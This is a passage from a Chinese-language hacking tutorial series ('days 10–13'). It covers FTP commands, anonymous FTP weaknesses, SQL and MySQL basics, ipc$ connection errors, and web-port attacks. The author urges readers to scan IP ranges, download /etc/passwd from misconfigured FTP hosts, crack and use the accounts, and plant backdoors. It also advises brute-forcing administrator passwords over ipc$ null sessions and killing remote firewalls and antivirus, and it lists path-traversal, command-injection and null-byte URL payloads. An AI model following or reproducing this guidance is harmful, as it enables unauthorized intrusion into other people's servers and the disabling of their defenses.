58.send local-file[remote-file]：同 put。

59.sendport：设置 PORT 命令的使用。

60.site arg1，arg2...：将参数作为 SITE 命令逐字发送至远程 ftp 主机。

61.size file-name：显示远程主机文件大小，如：site idle 7200。

62.status：显示当前 ftp 状态。

63.struct[struct-name]：将文件传输结构设置为 struct-name， 缺省时使用 stream 结构。

64.sunique：将远程主机文件名存储设置为只一(与 runique 对应)。

65.system：显示远程主机的操作系统类型。

66.tenex：将文件传输类型设置为 TENEX 机的所需的类型。

67.tick：设置传输时的字节计数器。

68.trace：设置包跟踪。

69.type[type-name]：设置文件传输类型为 type-name，缺省为 ascii，如:type binary，设置二进制传输方式。

70.umask[newmask]：将远程服务器的缺省 umask 设置为 newmask，如：umask 3

71.user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。

72.verbose：同命令行的-v 参数，即设置详尽报告方式，ftp 服务器的所有响 应都将显示给用户，缺省为 on.

73.?[cmd]：同 help.

上面的命令我建议大家最好下下来，背熟了很有用的。上面说到很多 FTP 都有提供匿名 FTP 的服务,而方便和安全性却是鱼与熊掌不能两得的!!很多

系统管理员都为了避免麻烦就用系统的预设设定来提供 FTP 这个服务.而 anonymous ftp 却

是有许多漏洞的，这样我们就有的说了啊。

允许用户使用 Anonymous 或 FTP 作为用户名以用户信箱做为口令（确切的说是任何带@的口令）登陆到系统。虽说匿名 FTP 本身 并不是个漏洞，因为匿名区域里放置有/etc/passwd 和/etc/group 文件，往往可能因为管理员配置上的大意造成潜在的安全隐患。使用匿名的 FTP，用户可以匿名登陆 FTP 服务器。登陆时需要用户提供完整的 E-mail 地址做为 passwd，其实在很多站点上这个要求形同虚设，你只要在其中包含有@字节看起来像个 E-mail 地址就行了，主机不会对口令做任何效验的。

远程所提供 FTP 服务的主机在处理匿名用户的命令时，一般都会执行一个 chroot 命令让匿名者进入主机所允许的匿名 FTP 区域。然而为了支持匿名 FTP 和用户 FTP，FTP 服务器要访问所有文件，也就证明了 FTP 服务器不是总在 chroot 环境中运行的。（一位前辈说的，我不知道还有哪个说的能比这还精辟）这个环节会让一些管理员不知所为而未曾理会，很容易被我们利用而得到一个匿名 FTP 用户所不能得到的权限。当然解决也很简单，可以通过修改 inetd 的配置来替代直接启动 FTP 服务器，它执行 chroot（就类似于 chrootuid 的程序），然后再启动服务器就可以了。

一般情况下，FTP 只限于在匿名用户下访问，匿名用户有其正常的权限，在启动服务器前执行 chroot 就意味着匿名用户将受到限制。如果说一个匿名用户在 FTP 服务器的匿名区域获得了一份不应该是匿名用户获得的文件，那么就说明了可能有内部客户将这个文件放置在匿名的 FTP 区域了。 匿名用户可以阅读到/etc/passwd 文件这就是管理员很大错误表现。还有隐患是 telnet 到 ftp21 如果允许执行 SITE CHMOD 和 SITE EXEC、/home 的所有者是匿名 FTP 的用户，那么随便就可把权限设置成**** 或者更多的进行修改等等。

为了方便我们用个小软件，其实不要软件也可以，但用一下方便大家嘛 FTP scanner（下载：http://sorry.vse.cz/~xmicm08/FTPScanner/）

安装好后，我们从开始菜单中的程序中找到 FTP Scanner 并运行它。 我们熟悉一下我们要使用的软件的界面。 打开软件我们可以看到 :Host 主机 ,Beginning ,开始 IP 下面有几个文本框 我们在这里填入我们要开始扫描的 IP. Ending 结束 IP .我们在这里填入我们结束扫描的 IP. 在下面有一个 Threads 线程 。我们可以根据网速来选择这里的线程数. 通常 Moden 上网选为 50--70 左右. 更快的话选到 100 个线程. 然后我们选择菜单 Session 里的 Begin FTP scan 就可以开始了扫描了．．】

注意：我们可以在 View 里的 options 选项里选择我们的扫描参数.

在 Login config 里

里的 UserName 和 Password 我们通常不用更改.

但你也可以改动他． 比如你想扫描特定的帐号．比如扫描用户 Oracle 密码也是 Oracle 的话 就改动这里的 UserName 和 Password

在 IP Logging 里

我们可以更改扫描结果存放的位置.

随便选择一个位置和文件名就可以了.

默认是存放在安装目录下面的 iplog.txt 文件.

下面我想大家也会用吧，就是找个主机试试，注意和命令一起用，如果在打开的网页里不能写权限，那就把密码档先当下来． ftp> get /etc/passwd ，然后用小榕的流光提取用户，再找个一个可以利用的 shell，就 OK 了，用找到的用户名和密码登陆，想干什么就干什么了，建议大家装个后门，因为一般管理员很快就会发现的。当然，很多主机更离谱的是．anonymous 竟然有到根目录和写的权限

好了，就说到这大家找几个 IP 段练练吧，国内这样的主机很多的

『第 10 天』说 SQL

先说说什么叫 SQL？大家反正都觉得这 SQL 和数据库有关，其实也不是这样的。SQL 是一种结构化数据库查询语言，其发音为“sequel”或“S-Q-L”。尽管 MICROSOFT 以其特有的方式加入了所有权

声明，但它在大多数据库应用中近乎成为一种标准。简言之，它是一种使用你选择的标准从数据库记录中选择某些记录的方法。

因为它的重要所以我将会花一定的时间来讲它，前面的东西大家不说可能用这就会了，但这个一定要仔细的说。先回答大家一个疑问，学了 SQL 有什么用呢？现在常用的数据库软件是 ms-sql，一般的服务器上都由它提供数据库服务，但哟于具有管理权限的帐号 SA 的默认密码是空的，且低版本的 SQL 由漏洞能直接获得密码。所以它也成为入侵的一种捷径（如果由漏洞的话）。介绍个软件 MS-SOL Brower（SQL 远程入侵软件），以后会由用的。

在使用它时，只需要发出“做什么”的 命令，“怎么做”是不用使用者考虑的。

SQL 数据库数据体系结构

SQL 数据库的数据体系结构基本上是三级结构，但使用术语与传统关系模型术语不同。

在 SQL 中，关系模式(模式)称为“基本表”(base table)；存储模式(内模式)称为“存

储文件”(stored file)；子模式(外模式)称为“视图”(view)；元组称为“行”(row)

；属性称为“列”(column)。名称对称如^00100009a^：

SQL 语言的组成

在正式学习 SQL 语言之前，首先让我们对 SQL 语言有一个基本认识，介绍一下 SQL 语言的

组成：

1.一个 SQL 数据库是表(Table)的集合，它由一个或多个 SQL 模式定义。

2.一个 SQL 表由行集构成，一行是列的序列(集合)，每列与行对应一个数据项。

3.一个表或者是一个基本表或者是一个视图。基本表是实际存储在数据库的表，而视图

是由若干基本表或其他视图构成的表的定义。

4.一个基本表可以跨一个或多个存储文件，一个存储文件也可存放一个或多个基本表。

每个存储文件与外部存储上一个物理文件对应。

5.用户可以用 SQL 语句对视图和基本表进行查询等操作。在用户角度来看，视图和基本

表是一样的，没有区别，都是关系(表格)。

6.SQL 用户可以是应用程序，也可以是终端用户。SQL 语句可嵌入在宿主语言的程序中使

用，宿主语言有 FORTRAN，COBOL，PASCAL，PL/I，C 和 Ada 语言等。SQL 用户也能作为独

立的用户接口，供交互环境下的终端用户使用。

（这个内容好像很难懂，大家如果实在不行，了解就行了）

对数据库进行操作

SQL 包括了所有对数据库的操作，主要是由 4 个部分组成：

1.数据定义：这一部分又称为“SQL DDL”，定义数据库的逻辑结构，包括定义数据库、基本表、视图和索引 4 部分。

2.数据操纵：这一部分又称为“SQL DML”，其中包括数据查询和数据更新两大类操作，其中数据更新又包括插入、删除和更新三种操作。

3.数据控制：对用户访问数据的控制有基本表和视图的授权、完整性规则的描述，事务控制语句等。

4.嵌入式 SQL 语言的使用规定：规定 SQL 语句在宿主语言的程序中使用的规则

下面我们就 简单介绍一下数据定义

SQL 数据定义功能包括定义数据库、基本表、索引和视图。

首先，让我们了解一下 SQL 所提供的基本数据类型：(如^00100009b^)

1.数据库的建立与删除

(1)建立数据库：数据库是一个包括了多个基本表的数据集，其语句格式为：

CREATE DATABASE <数据库名>［其它参数］

其中，<数据库名>在系统中必须是唯一的，不能重复，不然将导致数据存取失误。［其它参数］因具体数据库实现系统不同而异。

例：要建立项目管理数据库(xmmanage)，其语句应为：

CREATE DATABASE xmmanage

(2) 数据库的删除：将数据库及其全部内容从系统中删除。

其语句格式为：DROP DATABASE <数据库名>

例：删除项目管理数据库(xmmanage)，其语句应为：

DROP DATABASE xmmanage

2.基本表的定义及变更

本身独立存在的表称为基本表，在 SQL 语言中一个关系唯一对应一个基本表。基本表的定义指建立基本关系模式，而变更则是指对数据库中已存在的基本表进行删除与修改。

(1)基本表的定义：基本表是非导出关系，其定义涉及表名、列名及数据类型等，其语句格式为：

CREATE TABLE［<数据库名>.］<表名>

(<列名> 数据类型 ［缺省值］ ［NOT NULL / NULL］

［，<列名> 数据类型 ［缺省值］ ［NOT NULL / NULL］］.....

［，UNIQUE (列名［，列名］.....)］

［，PRIMARY KEY(列名)］

［，FOREIGN KEY(列名［，列名］.....)REFERENCE <表名>(列名［，列名］.....)］

［，CHECK(条件)］ ［其它参数］)

其中，〈数据库名〉.］指出将新建立的表存放于该数据库中；

新建的表由两部分组成：其一为表和一组列名，其二是实际存放的数据(即可在定义表的同时，直接存放数据到表中)；

列名为用户自定义的易于理解的名称，列名中不能使用空格；

数据类型为上面所介绍的几种标准数据类型；

［NOT NULL/NULL］指出该列是否允许存放空值，SQL 语言支持空值的概念，所谓空值是“不知道”或“无意义”的值，值得注意的是数据“0”和空格都不是空值，系统一般默认允许为空值，所以当不允许为空值时，必须明确使用 NOT NULL；

［，UNIQUE］将列按照其规定的顺序进行排列，如不指定排列顺序，则按列的定义顺序排列；

［PRIMARY KEY］用于指定表的主键(即关系中的主属性)，实体完整性约束条件规定：主键必须是唯一的，非空的；

［，FOREIGN KEY (列名［，列名］.....) REFERENCE<表名>(列名［，列名］.....)］是用于指定外键参照完整性约束条件，FOREIGN KEY 指定相关列为外键，其参照对象为另外一个表的指定列，即使用 REFERENCE 引入的外表中的列，当不指定外表列名时，系统将默认其列名与参照键的列名相同，要注意的是：使用外键时必须使用参

照，另外数据的外键参照完整性约束条件规定：外键的值要么与相对应的主键相同，要么为空值(具体由实现系统不同而异)

［，CHECK］用于使用指定条件对存入表中的数据进行检查，以确定其合法性，提高数据的安全性。

2)基本表的删除：用以从数据库中删除一个基本表及其全部内容，其语句格式为：

DROP TABLE［<数据库名>.］表名

(3)基本表的修改：在基本表建立并使用一段时间后，可能需要根据实际要求对基本表的结构进行修改，即增加新的属性或删除属性。

增加属性的语句格式为：

ALTER TABLE ［<数据库名>.］表名 ADD

(<列名> 数据类型 ［缺省值］ ［NOT NULL / NULL］

［，<列名> 数据类型［缺省值］［NOT NULL / NULL］］.....

［，UNIQUE (列名［，列名］.....)］

［，PRIMARY KEY(列名)］

［，FOREIGN KEY(列名［，列名］.....) REFERENCE <表名>(列名［，列名］.....)］

［，CHECK(条件)］［其它参数］)

例如：在基本表 student 中加入列 stborn 出生日期，数据类型为 DATE，且不能为空值

ALTER TABLE student ADD (stborn DATE NOT NULL)

删除属性的语句格式为：

ALTER TABLE ［<数据库名>.］表名 DROP

(<列名> 数据类型 ［缺省值］［NOT NULL / NULL］

［，<列名> 数据类型 ［缺省值］［NOT NULL / NULL］］.....)

3.视图定义与删除

在 SQL 中，视图是外模式一级数据结构的基本单位。它是从一个或几个基本表中导出的表，是从现有基本表中抽取若干子集组成用户的“专用表”。这种构造方式必须使用

SQL 中的 SELECT 语句来实现。在定义一个视图时，只是把其定义存放在系统的数据中，

而并不直接存储视图对应的数据，直到用户使用视图时才去求得对应的数据。

(1)视图的定义：定义视图可以使用 CREATE VIEW 语句实现，其语句格式为：

CREATE VIEW 视图名 AS SELECT 语句

(2)视图的删除：用于删除已不再使用的视图，其语句格式如下： DROP VIEW 视图名

数据控制

由于数据库管理系统是一个多用户系统，为了控制用户对数据的存取权利，保持数据的

共享及完全性，SQL 语言提供了一系列的数据控制功能。其中，主要包括安全性控制、

完整性控制、事务控制和并发控制。这个我就不详细说明了，大家如果有兴趣可以参阅相关书籍

大概需要掌握的 SQL 基本类容就是这样，因为里面涉及到一些语法和语言，如果你没有一点语言基础的我想会很困难的，我只能建议你去至少看看 C 语言。明天我们将开始讲 MY-SQL

[第 11 天]mySQL 简单介绍

先说第一个如何与数据库建立连接。

一般来说，我们访问 MySQL 数据库时，首先需要使用 telnet 远程登录安装数据库系统的服务器，然后再进入 MySQL 数据库。MySQL 数据库的连接命令如下：

mysql -h hostname -u username -p[password]

或者：

mysql -h hostname -u username --password=password

其中，hostname 为装有 MySQL 数据库的服务器名称，username 和 password 分别是用户的登录名称和口令。

如果 MySQL 数据库安装和配置正确的话，用户在输入上述命令之后会得到如下系统反馈信息：

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 49 to server version: 3.21.23-beta-log

Type 'help' for help.

mysql>

这样，用户就成功进入了 MySQL 数据库系统，可以在 mysql>命令提示符之后输入各种命令。

下面我们来说一些主要管理命令，当然你可以在 HELP 下获得 （我就是从里面 copy 的）

mysql> help

help (\h) 显示命令帮助

? (\h) 作用同上

clear (\c) 清除屏幕内容

connect (\r) 重新连接服务器，可选参数为 db（数据库）和 host（服务器）

exit (\) 退出 mysql 数据库，作用与 quit 命令相同

go (\g) 将命令传送至 mysql 数据库

print (\p) 打印当前命令

quit (\q) 退出 mysql 数据库

status (\s) 显示服务器当前信息

use (\u) 打开数据库，以数据库名称作为命令参数

上述命令主要用于 MySQL 数据库的系统管理，如果用户需要对某个具体的数据库进行操作，可以使用 use 命令进入该数据库，格式如下：

mysql> use dbname;

在 MySQL 数据库中，用于保存数据记录的结构被称为数据表。而每一条数据记录则是由更小的数据对象，即数据类型组成。因此，总体来说，一个或多个数据类型组成一条数据记录，一条或多条数据记录组成一个数据表，一个或多个数据表组成一个数据库。我们可以把上述结构理解为如下形式：

Database < Table < Record < Datatype

MySQL 数据库提供了多种数据类型，其中较为常用的几种如下： （这个就简单介绍了）

CHAR (M)CHAR 数据类型用于表示固定长度的字符串，可以包含最多达 255 个字符。其中 M 代表字符串的长度。

VARCHAR (M) VARCHAR 可以保存可变长度的字符串。其中 M 代表该数据类型所允许保存的字符串的最大长度，只要长度小于该最大值的字符串都可以被保存在该数据类型中。

INT (M) [Unsigned]

light_years INT

DATEDATE 数据类型用于保存日期数据，默认格式为 YYYY-MM-DD。

这个很重要的，举个例子

the_date DATE;

TEXT / BLOB

SET

ENUM

基本就这么多，我没有详细说是因为好象大家可能对这不感兴趣，如果你有兴趣的话，用-QQ 联络我，我推荐几个好东西给你，今天时间不早了，就说到着明天我们说下面的内容。可能这 2 天大家觉得很无聊，但不吃一番苦怎们能开心呢？好象是这样说的吧，呵呵

好象不怎么全哦， 我来发全！

数据库从最初的数据文件的简单集合发展到今天的大型数据库管理系统已经成为我们日常生活中不可缺少的组成部分。如果不借助数据库的帮助，许多简单的工作将变得冗长乏味，甚至难以实现。尤其是象银行、院校和图书馆这样的大型组织更加依*数据库系统实现其正常的运作。再看互联网上，从搜索引擎到在线商场，从网上聊天到邮件列表，都离不开数据库。

目前，市面上的数据库产品多种多样，从大型企业的解决方案到中小企业或个人用户的小型应用系统，可以满足用户的多样化需求。这里，我们所要向大家介绍的 MySQL 数据库是众多的关系型数据库产品中的一个，相比较其它系统而言，MySQL 数据库可以称得上是目前运行速度最快的 SQL 语言数据库。除了具有许多其它数据库所不具备的功能和选择之外，MySQL 数据库是一种完全免费的产品，用户可以直接从网上下载数据库，用于个人或商业用途，而不必支付任何费用（推荐下载站点 http://www.mysql.com）。

总体来说，MySQL 数据库具有以下主要特点：

1. 同时访问数据库的用户数量不受限制；

2. 可以保存超过 50,000,000 条记录；

3. 是目前市场上现有产品中运行速度最快的数据库系统；

4. 用户权限设置简单、有效。

如今，包括 Siemens 和 Silicon Graphics 这样的国际知名公司也开始把 MySQL 作为其数据库管理系统，这就更加证明了 MySQL 数据库的优越性能和广阔的市场发展前景。

本文将重点向读者介绍 MySQL 数据库的一些基本操作，包括如何与数据库建立连接，如果设置数据库，以及如何执行基本的命令等。希望能够对读者学习和掌握 MySQL 数据库有所助益。

入门

一般来说，我们访问 MySQL 数据库时，首先需要使用 telnet 远程登录安装数据库系统的服务器，然后再进入 MySQL 数据库。MySQL 数据库的连接命令如下：

mysql -h hostname -u username -p[password]

或者：

mysql -h hostname -u username --password=password

其中，hostname 为装有 MySQL 数据库的服务器名称，username 和 password 分别是用户的登录名称和口令。

如果 MySQL 数据库安装和配置正确的话，用户在输入上述命令之后会得到如下系统反馈信息：

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 49 to server version: 3.21.23-beta-log

Type 'help' for help.

mysql>

这样，用户就成功进入了 MySQL 数据库系统，可以在 mysql>命令提示符之后输入各种命令。下面，我们列出一些 MySQL 数据库的主要管理命令供读者参考，用户也可以通过在命令符之后输入 help，\h 或？得到以下命令的简单说明。

mysql> help

help (\h) 显示命令帮助

? (\h) 作用同上

clear (\c) 清除屏幕内容

connect (\r) 重新连接服务器，可选参数为 db（数据库）和 host（服务器）

exit (\) 退出 mysql 数据库，作用与 quit 命令相同

go (\g) 将命令传送至 mysql 数据库

print (\p) 打印当前命令

quit (\q) 退出 mysql 数据库

status (\s) 显示服务器当前信息

use (\u) 打开数据库，以数据库名称作为命令参数

上述命令主要用于 MySQL 数据库的系统管理，如果用户需要对某个具体的数据库进行操作，可以使用 use 命令进入该数据库，格式如下：

mysql> use dbname;

这里需要提醒读者注意的一点就是 MySQL 数据库要求使用者在所有命令的结尾处使用“；”作为命令结束符。

数据类型和数据表

从本质上说，数据库就是一种不断增长的复杂的数据组织结构。在 MySQL 数据库中，用于保存数据记录的结构被称为数据表。而每一条数据记录则是由更小的数据对象，即数据类型组成。因此，

总体来说，一个或多个数据类型组成一条数据记录，一条或多条数据记录组成一个数据表，一个或多个数据表组成一个数据库。我们可以把上述结构理解为如下形式：

Database < Table < Record < Datatype

数据类型分为不同的格式和大小，可以方便数据库的设计人员创建最理想的数据结构。能否正确的选择恰当的数据类型对最终数据库的性能具有重要的影响，因此，我们有必要首先对数据类型的有关概念进行较为详细的介绍。

MySQL 数据类型

MySQL 数据库提供了多种数据类型，其中较为常用的几种如下：

CHAR (M)

CHAR 数据类型用于表示固定长度的字符串，可以包含最多达 255 个字符。其中 M 代表字符串的长度。

举例如下：

car_model CHAR(10);

VARCHAR (M)

VARCHAR 是一种比 CHAR 更加灵活的数据类型，同样用于表示字符数据，但是 VARCHAR 可以保存可变长度的字符串。其中 M 代表该数据类型所允许保存的字符串的最大长度，只要长度小于该最大值的字符串都可以被保存在该数据类型中。因此，对于那些难以估计确切长度的数据对象来说，使用 VARCHAR 数据类型更加明智。VARCHAR 数据类型所支持的最大长度也是 255 个字符。

这里需要提醒读者注意的一点是，虽然 VARCHAR 使用起来较为灵活，但是从整个系统的性能角度来说，CHAR 数据类型的处理速度更快，有时甚至可以超出 VARCHAR 处理速度的 50%。因此，用户在设计数据库时应当综合考虑各方面的因素，以求达到最佳的平衡。

举例如下：

car_model VARCHAR(10);

INT (M) [Unsigned]

INT 数据类型用于保存从- 2147483647 到 2147483648 范围之内的任意整数数据。如果用户使用 Unsigned 选项，则有效数据范围调整为 0-4294967295。举例如下：

light_years INT;

按照上述数据类型的设置，-24567 为有效数据，而 3000000000 则因为超出了有效数据范围成为无效数据。

再例如：

light_years INT unsigned;

这时，3000000000 成为有效数据，而-24567 则成为无效数据。

FLOAT [(M,D)]

FLOAT 数据类型用于表示数值较小的浮点数据，可以提供更加准确的数据精度。其中，M 代表浮点数据的长度（即小数点左右数据长度的总和），D 表示浮点数据位于小数点右边的数值位数。

举例如下：

rainfall FLOAT (4,2);

按照上述数据类型的设置，42.35 为有效数据，而 324.45 和 3.542 则因为超过数据长度限制或者小数点右边位数大于规定值 2 成为无效数据。

DATE

DATE 数据类型用于保存日期数据，默认格式为 YYYY-MM-DD。MySQL 提供了许多功能强大的日期格式化和操作命令，本文无法在此一一进行介绍，感兴趣的读者可以参看 MySQL 的技术文档。

DATE 数据类型举例如下：

the_date DATE;

TEXT / BLOB

TEXT 和 BLOB 数据类型可以用来保存 255 到 65535 个字符，如果用户需要把大段文本保存到数据库内的话，可以选用 TEXT 或 BLOB 数据类型。TEXT 和 BLOB 这两种数据类型基本相同，唯一的区别在于 TEXT 不区分大小写，而 BLOB 对字符的大小写敏感。

SET

SET 数据类型是多个数据值的组合，任何部分或全部数据值都是该数据类型的有效数据。SET 数据类型最大可以包含 64 个指定数据值。

举例如下：

transport SET ("truck", "wagon") NOT NULL;

根据上述数据类型的设置，truck、wagon、以及 truck,wagon 都可以成为 transport 的有效值。

ENUM

ENUM 数据类型和 SET 基本相同，唯一的区别在于 ENUM 只允许选择一个有效数据值。例如：

transport ENUM ("truck", "wagon") NOT NULL;

根据上述设置，truck 或 wagon 将成为 transport 的有效数据值。

以上，我们只是对用户使用 MySQL 数据库的过程中经常用到的数据类型进行了简单介绍，有兴趣的读者，可以参看 MySQL 技术文档的详细说明。

数据记录

一组经过声明的数据类型就可以组成一条记录。记录小到可以只包含一个数据变量，大到可以满足用户的各种复杂需求。多条记录组合在一起就构成了数据表的基本结构。

数据表

在我们执行各种数据库命令之前，首先需要创建用来保存信息的数据表。我们可以通过以下方式在 MySQL 数据库中创建新的数据表：

```
mysql> CREATE TABLE test (

> name VARCHAR (15),

> email VARCHAR (25),

> phone_number INT,

> ID INT NOT NULL AUTO_INCREMENT,

> PRIMARY KEY (ID));
```

系统反馈信息为：

```
Query OK, 0 rows affected (0.10 sec)

mysql>
```

这样，我们就在数据库中创建了一个新的数据表。注意，同一个数据库中不能存在两个名称相同的数据表。

这里，我们使用 CREATE TABLE 命令创建的 test 数据表中包含 name，email，phone_number 和 ID 四个字段。MySQL 数据库允许字段名中包含字符或数字，最大长度可以达到 64 个字符。

下面，我们来看一看创建数据表时所用到的几个主要的参数选项。

Primary Key

具有 Primary Key 限制条件的字段用于区分同一个数据表中的不同记录。因为同一个数据表中不会存在两个具有相同值的 Primary Key 字段，所以对于那些需要严格区分不同记录的数据表来说，Primary Key 具有相当重要的作用。

Auto_Increment

具有 Auto_Increment 限制条件的字段值从 1 开始，每增加一条新记录，值就会相应地增加 1。一般来说，我们可以把 Auto_Increment 字段作为数据表中每一条记录的标识字段。

NOT NULL

NOT NULL 限制条件规定用户不得在该字段中插入空值。

其它数据表命令

除了创建新的数据表之外，MySQL 数据库还提供了其它许多非常实用的以数据表作为操作对象

的命令。

显示数据表命令

mysql> show tables;

该命令将会列出当前数据库下的所有数据表。

显示字段命令

mysql> show columns from tablename;

该命令将会返回指定数据表的所有字段和字段相关信息。

数据操作

对 MySQL 数据库中数据的操作可以划分为四种不同的类型，分别是添加、删除、修改和查询，我们将会在本节中对此进行介绍。但是，首先我们需要强调的一点就是 MySQL 数据库所采用的 SQL 语言同其它绝大多数计算机编程语言一样，对命令的语法格式有严格的规定。任何语法格式上的错误，例如不正确的使用括号、逗号或分号等都可能导致命令执行过程中的错误。因此，建议用户在学习时一定要多留心语法格式的使用。

添加记录

用户可以使用 INSERT 命令向数据库中添加新的记录。

例如：

mysql> INSERT INTO test VALUES

mysql> ('John', 'carrots@mail.com',

mysql> 5554321, NULL);

上述命令正确执行后会返回以下信息：

Query OK, 1 row affected (0.02 sec)

mysql>

对上述命令有几点我们需要说明。首先，所有的字符类型数据都必须使用单引号括起来。其次，NULL 关键字与 AUTO_INCREMENT 限制条件相结合可以为字段自动赋值。最后，也是最重要的一点就是新记录的字段值必须与数据表中的原字段相对应，如果原数据表中有 4 个字段，而用户所添加的记录包含 3 个或 5 个字段的话都会导致错误出现。

MySQL 数据库的一个非常显著的优势就是可以对整数、字符串和日期数据进行自动转换。因此，用户在添加新记录时就不必担心因为数据类型不相符而出现错误。

查询数据

如果我们无法从数据库中查找和读取数据的话，数据库就丧失了其存在和使用的价值。

在 MySql 数据库中，用户可以使用 SELECT 命令进行数据的查询。

例如：

mysql> SELECT * FROM test

mysql> WHERE (name = "John");

上述命令会返回如下结果：

name

email

phone

ID

John

carrots@mail.com

5554321

1

删除数据

用户除了可以向数据表中添加新的记录之外，还可以删除数据表中的已有记录。删除记录可以使用 DELETE 命令。

例如：

mysql> DELETE FROM test

mysql> WHERE (name = "");

该命令将会删除 test 数据表中 name 字段的值为 John 的记录。同样，

mysql> DELETE FROM test

mysql> WHERE (phone_number = 5554321);

将会从数据表中删除 phone_number 字段值为 5554321 的记录。

修改数据

MySQL 数据库还支持用户对已经输入到数据表中的数据进行修改。修改记录可以使用 UPDATE 命令。

例如：

mysql> UPDATE test SET name = 'Mary'

mysql> WHERE name = "John";

上述命令的执行结果如下：

name

email

phone

ID

Mary

carrots@mail.com

5554321

1

到此为止，我们对 MySQL 数据库数据操作的核心概念，即数据的添加、删除、修改和查询进行了简单的介绍。

『第 12 天』从 ipc$ 连接失败讲起

我们最好先来看一下什么是 ipc￥连接。ipc（internet process connection）是远程网络连接。而 ipc$,admin$,c$,d$,e$这些则是 winnt 和 win2000 的默认共享。ipc$就是一种管道通讯，它在两个 ip 间建立一个连接。我们一般看到对方主机开了 139,445，我们一般就说对方开了共享。就可以尝试用 ipc￥连接，具体怎么样你应该没问题了吧。（这种功能只在 winnt 和 win2000 种才有，windows98 是没有的。 ）

很多朋友对 ipc￥连接的概念很混淆，我在这里罗嗦几句，ipc￥连接分为 ipc$空连接和带有一定权限 ipc$连接，这两者可是大大的不一样,许多朋友在建立了空连接之后，就着急的想 copy 工具上去，这是肯定会报错的，其实这也是很多朋友经常碰到的问题。因为这是空连接，没有任何的权限(就好像匿名访问一样），除了可以得到远程主机的 netbios 信息外，什么命令都执行不了而可以复制文件是你获得了一定的权限后，比如说你得到一个管理员密码是空口令，也就是带有一定权限的 ipc$连接，空连接只是简单的和远程主机建立了一个通讯的管道。是不是什么用都没有呢？当然不是了，我们可以用暴力破解的方法来得到管理员的密码，就是挂上字典不断地进行对 ipc$空连接的试探，从而达到取得管理员密码的目的，什么好用你就用什么。到这里我已经对 ipc￥空连接和带有一定权限 ipc$连接有了一个比较清楚的了解。 很多朋友可能会说说了半天也没到重点。别急嘛，就是作为个知识理解也很好嘛

现在我们分析一下会有那些错误

错误号 5，拒绝访问 ： 很可能你使用的用户不是管理员权限的，先提升权限；

错误号 51，Windows 无法找到网络路径 ：网络有问题；

错误号 53，找不到网络路径 ： ip 地址错误；目标未开机；目标 lanmanserver 服务未启动；目标有

防火墙（端口过滤）；

错误号 67，找不到网络名 ： 你的 lanmanworkstation 服务未启动；目标删除了 ipc$；

错误号 1219，提供的凭据与已存在的凭据集冲突 ： 你已经和对方建立了一个 ipc$，请删除再连。

错误号 1326，未知的用户名或错误密码 ： 原因很明显了；

错误号 1792，试图登录，但是网络登录服务没有启动 ： 目标 NetLogon 服务未启动。（连接域控会出现此情况）

错误号 2242，此用户的密码已经过期 ： 目标有帐号策略，强制定期要求更改密码

我们现在已经了解了 ipc$失败的原因，我们知道稍微有一点安全意识的网络管理员都会关闭掉共享，不会给你机会用简单的 ipc$连接进入他的机子，当然也不排除了哈^_^，而如果他屏蔽掉了 ipc$共享并且开了很少的服务（或者根本禁止了许多可以利用的服务），就算你通过某种方法比如说溢出攻击，得到了权限，进入了系统，这时你添加一个账号也没什么意义。想用 ipc$连接上传工具，却发现连续的报错，错误 1326 和错误 67 比较简单，容易对付。如果碰到对方开了防火墙，也就是(错误 67)，远程连接不上，我们怎么办呢？这里提供几种办法，

1、杀掉远程主机中的防火墙，如果对方安装了 resouce kit 那么我们就可以用 tlist 和 kill 两个命令来找到并且杀掉防火墙的进程。

2、利用 tftp。并不是说有的管理员都安装了 resouce kit,那我们怎么办呢？我们知道 2000 是自带的 tftp，我们可以用 tftp 来上传工具，如 tlist 、kill 等等，然后关闭防火墙和杀毒软件

3、利用自己的 ftp。我们还可以自己驾一个 ftp 服务器，然后用远程的计算机反过来 ftp 我们自己的机子，达到上传工具的目的。然后杀掉进程...（其实已经没必要了）剩下的就随你的便了。

上面的几种解决办法也只是假设，因为一般的管理员都会想办法禁止 windows 自带 tftp 客户端的使用，（具体参阅这篇帖子：http://www.91one.net/dvbbs/dispbbs.asp?boardid=17&id=1428）这样给我们就有点麻烦。但有时候还是有用的哦

[第 13 天]80 端口攻击总结

我将描述每种攻击的作用，和其怎样利用这些漏洞进行攻击(注意 host 的意思你应该懂吧)

（1）'.' '..' 和 '...' 请求

这些攻击痕迹是非常普遍的用于 web 应用程序和 web 服务器，它用于允许攻击者或者蠕虫病毒程序改变 web 服务器的路径，获得访问非公开的区域。大多数的 CGI 程序漏洞含有这些'..'请求。

Example:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

这个列子展示了攻击者请求 mosd 这个文件，如果攻击者有能力突破 web 服务器根目录，那么可以获得更多的信息，并进一步的获得特权。

（2）'%20' 请求

%20 是表示空格的 16 进制数值，虽然这个并不代表你能够利用什么，但是在你浏览日志的时候会发现它，一些 web 服务器上运行的应用程序中这个字符可能会被有效的执行，所以，你应该仔细的查看日志。另一方面，这个请求有时可以帮助执行一些命令。

Example:

http://host/cgi-bin/lame.cgi?page=ls%20-al|

这个列子展示了攻击者执行了一个 unix 的命令，列出请求的整个目录的文件，导致攻击者访问你系统中重要的文件，帮助他进一步取得特权提供条件。

（3）'%00' 请求

%00 表示 16 进制的空字节，他能够用于愚弄 web 应用程序，并请求不同类型的文件。

Examples:

http://host/cgi-bin/lame.cgi?page=index.html

这可能是个有效的请求在这个机子上，如果攻击者注意到这个请求动作成功，他会进一步寻找这个 cgi 程序的问题。

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

也许这个 cgi 程序不接受这个请求，原因在于它要检查这个请求文件的后缀名，如：html.shtml 或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效，这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型，这样，攻击者可以获得系统的路径，文件名，导致在你的系统获得更多的敏感信息

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html

注意这个请求，它将骗取 cgi 程序认为这个文件是个确定的可接受的文件类型，一些应用程序由于愚蠢的检查有效的请求文件，这是我们常用的方法。

（4）'|' 请求

这是个管道字符，在 unix 系统用于帮助在一个请求中同时执行多个系统命令。

Example:

cat access_log| grep -i '..'

（这个命令将显示日志中的“..“请求，常用于发现我们和蠕虫攻击）

